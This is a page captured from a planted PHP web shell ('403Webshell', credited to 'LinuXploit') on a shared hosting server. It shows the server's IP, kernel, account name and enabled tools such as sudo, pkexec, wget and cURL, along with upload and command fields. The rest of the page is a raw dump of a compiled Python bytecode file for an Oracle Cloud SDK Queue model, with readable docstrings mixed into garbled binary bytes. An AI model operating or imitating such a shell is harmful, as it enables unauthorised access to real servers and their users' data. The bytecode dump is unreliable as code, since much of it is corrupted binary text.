403Webshell
Server IP : 162.144.4.212  /  Your IP : 216.73.216.108
Web Server : Apache
System : Linux gator2125.hostgator.com 5.14.0-162.23.1.9991722448259.nf.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 31 18:11:45 UTC 2024 x86_64
User : cozeellc ( 2980)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib/python3.9/site-packages/oci/queue/models/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib/python3.9/site-packages/oci/queue/models/__pycache__/queue.cpython-39.opt-1.pyc
a

���f[V�@s8ddlmZmZmZddlmZeGdd�de��ZdS)�)�formatted_flat_dict�
NONE_SENTINEL�#value_allowed_none_or_none_sentinel)�init_model_state_from_kwargsc@seZdZdZdZdZdZdZdZdZ	dZ
d	d
�Zedd��Z
e
jd
d��Z
edd��Zejdd��Zedd��Zejdd��Zedd��Zejdd��Zedd��Zejdd��Zedd��Zejdd��Zedd��Zejdd��Zed d!��Zejd"d!��Zed#d$��Zejd%d$��Zed&d'��Zejd(d'��Zed)d*��Zejd+d*��Zed,d-��Zejd.d-��Zed/d0��Zejd1d0��Zed2d3��Zejd4d3��Zed5d6��Zejd7d6��Zed8d9��Zejd:d9��Zed;d<��Zejd=d<��Zd>d?�Zd@dA�Z dBdC�Z!dDS)E�QueuezE
    A detailed representation of a queue and its configuration.
    �CREATING�UPDATING�ACTIVE�DELETING�DELETED�FAILED�INACTIVEcKs�dddddddddddddddddd�|_ddd	d
ddd
ddddddddddd�|_d|_d|_d|_d|_d|_d|_d|_d|_	d|_
d|_d|_d|_
d|_d|_d|_d|_d|_dS)a
        Initializes a new Queue object with values from keyword arguments.
        The following keyword arguments are supported (corresponding to the getters/setters of this class):

        :param id:
            The value to assign to the id property of this Queue.
        :type id: str

        :param display_name:
            The value to assign to the display_name property of this Queue.
        :type display_name: str

        :param compartment_id:
            The value to assign to the compartment_id property of this Queue.
        :type compartment_id: str

        :param time_created:
            The value to assign to the time_created property of this Queue.
        :type time_created: datetime

        :param time_updated:
            The value to assign to the time_updated property of this Queue.
        :type time_updated: datetime

        :param lifecycle_state:
            The value to assign to the lifecycle_state property of this Queue.
            Allowed values for this property are: "CREATING", "UPDATING", "ACTIVE", "DELETING", "DELETED", "FAILED", "INACTIVE", 'UNKNOWN_ENUM_VALUE'.
            Any unrecognized values returned by a service will be mapped to 'UNKNOWN_ENUM_VALUE'.
        :type lifecycle_state: str

        :param lifecycle_details:
            The value to assign to the lifecycle_details property of this Queue.
        :type lifecycle_details: str

        :param messages_endpoint:
            The value to assign to the messages_endpoint property of this Queue.
        :type messages_endpoint: str

        :param retention_in_seconds:
            The value to assign to the retention_in_seconds property of this Queue.
        :type retention_in_seconds: int

        :param visibility_in_seconds:
            The value to assign to the visibility_in_seconds property of this Queue.
        :type visibility_in_seconds: int

        :param timeout_in_seconds:
            The value to assign to the timeout_in_seconds property of this Queue.
        :type timeout_in_seconds: int

        :param dead_letter_queue_delivery_count:
            The value to assign to the dead_letter_queue_delivery_count property of this Queue.
        :type dead_letter_queue_delivery_count: int

        :param custom_encryption_key_id:
            The value to assign to the custom_encryption_key_id property of this Queue.
        :type custom_encryption_key_id: str

        :param freeform_tags:
            The value to assign to the freeform_tags property of this Queue.
        :type freeform_tags: dict(str, str)

        :param defined_tags:
            The value to assign to the defined_tags property of this Queue.
        :type defined_tags: dict(str, dict(str, object))

        :param system_tags:
            The value to assign to the system_tags property of this Queue.
        :type system_tags: dict(str, dict(str, object))

        :param channel_consumption_limit:
            The value to assign to the channel_consumption_limit property of this Queue.
        :type channel_consumption_limit: int

        �strZdatetime�intzdict(str, str)zdict(str, dict(str, object)))�id�display_name�compartment_id�time_created�time_updated�lifecycle_state�lifecycle_details�messages_endpoint�retention_in_seconds�visibility_in_seconds�timeout_in_seconds� dead_letter_queue_delivery_count�custom_encryption_key_id�
freeform_tags�defined_tags�system_tags�channel_consumption_limitrZdisplayNameZ
compartmentIdZtimeCreatedZtimeUpdatedZlifecycleStateZlifecycleDetailsZmessagesEndpointZretentionInSecondsZvisibilityInSecondsZtimeoutInSecondsZdeadLetterQueueDeliveryCountZcustomEncryptionKeyIdZfreeformTagsZdefinedTagsZ
systemTagsZchannelConsumptionLimitN)Z
swagger_typesZ
attribute_map�_id�
_display_name�_compartment_id�
_time_created�
_time_updated�_lifecycle_state�_lifecycle_details�_messages_endpoint�_retention_in_seconds�_visibility_in_seconds�_timeout_in_seconds�!_dead_letter_queue_delivery_count�_custom_encryption_key_id�_freeform_tags�
_defined_tags�_system_tags�_channel_consumption_limit)�self�kwargs�r4�:/usr/lib/python3.9/site-packages/oci/queue/models/queue.py�__init__.sjM��zQueue.__init__cCs|jS)z�
        **[Required]** Gets the id of this Queue.
        A unique identifier for the queue that is immutable on creation.


        :return: The id of this Queue.
        :rtype: str
        �r!�r2r4r4r5r�s
zQueue.idcCs
||_dS)z�
        Sets the id of this Queue.
        A unique identifier for the queue that is immutable on creation.


        :param id: The id of this Queue.
        :type: str
        Nr7)r2rr4r4r5r�s
cCs|jS)a
        Gets the display_name of this Queue.
        A user-friendly name for the queue. Does not have to be unique, and it's changeable. Avoid entering confidential information.


        :return: The display_name of this Queue.
        :rtype: str
        �r"r8r4r4r5r�s
zQueue.display_namecCs
||_dS)a
        Sets the display_name of this Queue.
        A user-friendly name for the queue. Does not have to be unique, and it's changeable. Avoid entering confidential information.


        :param display_name: The display_name of this Queue.
        :type: str
        Nr9)r2rr4r4r5r�s
cCs|jS)a&
        **[Required]** Gets the compartment_id of this Queue.
        The `OCID`__ of the compartment containing the queue.

        __ https://docs.cloud.oracle.com/iaas/Content/General/Concepts/identifiers.htm


        :return: The compartment_id of this Queue.
        :rtype: str
        �r#r8r4r4r5r�szQueue.compartment_idcCs
||_dS)a$
        Sets the compartment_id of this Queue.
        The `OCID`__ of the compartment containing the queue.

        __ https://docs.cloud.oracle.com/iaas/Content/General/Concepts/identifiers.htm


        :param compartment_id: The compartment_id of this Queue.
        :type: str
        Nr:)r2rr4r4r5r�scCs|jS)aF
        **[Required]** Gets the time_created of this Queue.
        The time that the queue was created, expressed in `RFC 3339`__ timestamp format.

        Example: `2018-04-20T00:00:07.405Z`

        __ https://tools.ietf.org/rfc/rfc3339


        :return: The time_created of this Queue.
        :rtype: datetime
        �r$r8r4r4r5rszQueue.time_createdcCs
||_dS)aB
        Sets the time_created of this Queue.
        The time that the queue was created, expressed in `RFC 3339`__ timestamp format.

        Example: `2018-04-20T00:00:07.405Z`

        __ https://tools.ietf.org/rfc/rfc3339


        :param time_created: The time_created of this Queue.
        :type: datetime
        Nr;)r2rr4r4r5rscCs|jS)aF
        **[Required]** Gets the time_updated of this Queue.
        The time that the queue was updated, expressed in `RFC 3339`__ timestamp format.

        Example: `2018-04-20T00:00:07.405Z`

        __ https://tools.ietf.org/rfc/rfc3339


        :return: The time_updated of this Queue.
        :rtype: datetime
        �r%r8r4r4r5r szQueue.time_updatedcCs
||_dS)aB
        Sets the time_updated of this Queue.
        The time that the queue was updated, expressed in `RFC 3339`__ timestamp format.

        Example: `2018-04-20T00:00:07.405Z`

        __ https://tools.ietf.org/rfc/rfc3339


        :param time_updated: The time_updated of this Queue.
        :type: datetime
        Nr<)r2rr4r4r5r0scCs|jS)a�
        **[Required]** Gets the lifecycle_state of this Queue.
        The current state of the queue.

        Allowed values for this property are: "CREATING", "UPDATING", "ACTIVE", "DELETING", "DELETED", "FAILED", "INACTIVE", 'UNKNOWN_ENUM_VALUE'.
        Any unrecognized values returned by a service will be mapped to 'UNKNOWN_ENUM_VALUE'.


        :return: The lifecycle_state of this Queue.
        :rtype: str
        )r&r8r4r4r5r@s
zQueue.lifecycle_statecCs gd�}t||�sd}||_dS)z�
        Sets the lifecycle_state of this Queue.
        The current state of the queue.


        :param lifecycle_state: The lifecycle_state of this Queue.
        :type: str
        )rrr	r
rrr
ZUNKNOWN_ENUM_VALUEN)rr&)r2rZallowed_valuesr4r4r5rOs

cCs|jS)z�
        Gets the lifecycle_details of this Queue.
        Any additional details about the current state of the queue.


        :return: The lifecycle_details of this Queue.
        :rtype: str
        �r'r8r4r4r5r^s
zQueue.lifecycle_detailscCs
||_dS)z�
        Sets the lifecycle_details of this Queue.
        Any additional details about the current state of the queue.


        :param lifecycle_details: The lifecycle_details of this Queue.
        :type: str
        Nr=)r2rr4r4r5rjs
cCs|jS)z�
        **[Required]** Gets the messages_endpoint of this Queue.
        The endpoint to use to consume or publish messages in the queue.


        :return: The messages_endpoint of this Queue.
        :rtype: str
        �r(r8r4r4r5rvs
zQueue.messages_endpointcCs
||_dS)z�
        Sets the messages_endpoint of this Queue.
        The endpoint to use to consume or publish messages in the queue.


        :param messages_endpoint: The messages_endpoint of this Queue.
        :type: str
        Nr>)r2rr4r4r5r�s
cCs|jS)z�
        **[Required]** Gets the retention_in_seconds of this Queue.
        The retention period of the messages in the queue, in seconds.


        :return: The retention_in_seconds of this Queue.
        :rtype: int
        �r)r8r4r4r5r�s
zQueue.retention_in_secondscCs
||_dS)z�
        Sets the retention_in_seconds of this Queue.
        The retention period of the messages in the queue, in seconds.


        :param retention_in_seconds: The retention_in_seconds of this Queue.
        :type: int
        Nr?)r2rr4r4r5r�s
cCs|jS)z�
        **[Required]** Gets the visibility_in_seconds of this Queue.
        The default visibility timeout of the messages consumed from the queue, in seconds.


        :return: The visibility_in_seconds of this Queue.
        :rtype: int
        �r*r8r4r4r5r�s
zQueue.visibility_in_secondscCs
||_dS)z�
        Sets the visibility_in_seconds of this Queue.
        The default visibility timeout of the messages consumed from the queue, in seconds.


        :param visibility_in_seconds: The visibility_in_seconds of this Queue.
        :type: int
        Nr@)r2rr4r4r5r�s
cCs|jS)z�
        **[Required]** Gets the timeout_in_seconds of this Queue.
        The default polling timeout of the messages in the queue, in seconds.


        :return: The timeout_in_seconds of this Queue.
        :rtype: int
        �r+r8r4r4r5r�s
zQueue.timeout_in_secondscCs
||_dS)z�
        Sets the timeout_in_seconds of this Queue.
        The default polling timeout of the messages in the queue, in seconds.


        :param timeout_in_seconds: The timeout_in_seconds of this Queue.
        :type: int
        NrA)r2rr4r4r5r�s
cCs|jS)aW
        **[Required]** Gets the dead_letter_queue_delivery_count of this Queue.
        The number of times a message can be delivered to a consumer before being moved to the dead letter queue. A value of 0 indicates that the DLQ is not used.


        :return: The dead_letter_queue_delivery_count of this Queue.
        :rtype: int
        �r,r8r4r4r5r�s
z&Queue.dead_letter_queue_delivery_countcCs
||_dS)ag
        Sets the dead_letter_queue_delivery_count of this Queue.
        The number of times a message can be delivered to a consumer before being moved to the dead letter queue. A value of 0 indicates that the DLQ is not used.


        :param dead_letter_queue_delivery_count: The dead_letter_queue_delivery_count of this Queue.
        :type: int
        NrB)r2rr4r4r5r�s
cCs|jS)aG
        Gets the custom_encryption_key_id of this Queue.
        The `OCID`__ of the custom encryption key to be used to encrypt messages content.

        __ https://docs.cloud.oracle.com/iaas/Content/General/Concepts/identifiers.htm


        :return: The custom_encryption_key_id of this Queue.
        :rtype: str
        �r-r8r4r4r5r�szQueue.custom_encryption_key_idcCs
||_dS)a^
        Sets the custom_encryption_key_id of this Queue.
        The `OCID`__ of the custom encryption key to be used to encrypt messages content.

        __ https://docs.cloud.oracle.com/iaas/Content/General/Concepts/identifiers.htm


        :param custom_encryption_key_id: The custom_encryption_key_id of this Queue.
        :type: str
        NrC)r2rr4r4r5r�scCs|jS)a1
        Gets the freeform_tags of this Queue.
        Simple key-value pair that is applied without any predefined name, type or scope. Exists for cross-compatibility only.
        Example: `{"bar-key": "value"}`


        :return: The freeform_tags of this Queue.
        :rtype: dict(str, str)
        �r.r8r4r4r5r
szQueue.freeform_tagscCs
||_dS)a=
        Sets the freeform_tags of this Queue.
        Simple key-value pair that is applied without any predefined name, type or scope. Exists for cross-compatibility only.
        Example: `{"bar-key": "value"}`


        :param freeform_tags: The freeform_tags of this Queue.
        :type: dict(str, str)
        NrD)r2rr4r4r5rscCs|jS)a+
        Gets the defined_tags of this Queue.
        Defined tags for this resource. Each key is predefined and scoped to a namespace.
        Example: `{"foo-namespace": {"bar-key": "value"}}`


        :return: The defined_tags of this Queue.
        :rtype: dict(str, dict(str, object))
        �r/r8r4r4r5r$szQueue.defined_tagscCs
||_dS)a6
        Sets the defined_tags of this Queue.
        Defined tags for this resource. Each key is predefined and scoped to a namespace.
        Example: `{"foo-namespace": {"bar-key": "value"}}`


        :param defined_tags: The defined_tags of this Queue.
        :type: dict(str, dict(str, object))
        NrE)r2rr4r4r5r1scCs|jS)a(
        Gets the system_tags of this Queue.
        Usage of system tag keys. These predefined keys are scoped to namespaces.
        Example: `{"orcl-cloud": {"free-tier-retained": "true"}}`


        :return: The system_tags of this Queue.
        :rtype: dict(str, dict(str, object))
        �r0r8r4r4r5r>szQueue.system_tagscCs
||_dS)a2
        Sets the system_tags of this Queue.
        Usage of system tag keys. These predefined keys are scoped to namespaces.
        Example: `{"orcl-cloud": {"free-tier-retained": "true"}}`


        :param system_tags: The system_tags of this Queue.
        :type: dict(str, dict(str, object))
        NrF)r2rr4r4r5rKscCs|jS)a
        Gets the channel_consumption_limit of this Queue.
        The percentage of allocated queue resources that can be consumed by a single channel. For example, if a queue has a storage limit of 2Gb, and a single channel consumption limit is 0.1 (10%), that means data size of a single channel  can't exceed 200Mb. Consumption limit of 100% (default) means that a single channel can consume up-to all allocated queue's resources.


        :return: The channel_consumption_limit of this Queue.
        :rtype: int
        �r1r8r4r4r5r Xs
zQueue.channel_consumption_limitcCs
||_dS)a'
        Sets the channel_consumption_limit of this Queue.
        The percentage of allocated queue resources that can be consumed by a single channel. For example, if a queue has a storage limit of 2Gb, and a single channel consumption limit is 0.1 (10%), that means data size of a single channel  can't exceed 200Mb. Consumption limit of 100% (default) means that a single channel can consume up-to all allocated queue's resources.


        :param channel_consumption_limit: The channel_consumption_limit of this Queue.
        :type: int
        NrG)r2r r4r4r5r ds
cCst|�S�N)rr8r4r4r5�__repr__pszQueue.__repr__cCs|durdS|j|jkS)NF)�__dict__�r2�otherr4r4r5�__eq__sszQueue.__eq__cCs
||kSrHr4rKr4r4r5�__ne__yszQueue.__ne__N)"�__name__�
__module__�__qualname__�__doc__ZLIFECYCLE_STATE_CREATINGZLIFECYCLE_STATE_UPDATINGZLIFECYCLE_STATE_ACTIVEZLIFECYCLE_STATE_DELETINGZLIFECYCLE_STATE_DELETEDZLIFECYCLE_STATE_FAILEDZLIFECYCLE_STATE_INACTIVEr6�propertyr�setterrrrrrrrrrrrrrrrr rIrMrNr4r4r4r5rs�





































rN)Zoci.utilrrrZoci.decoratorsr�objectrr4r4r4r5�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit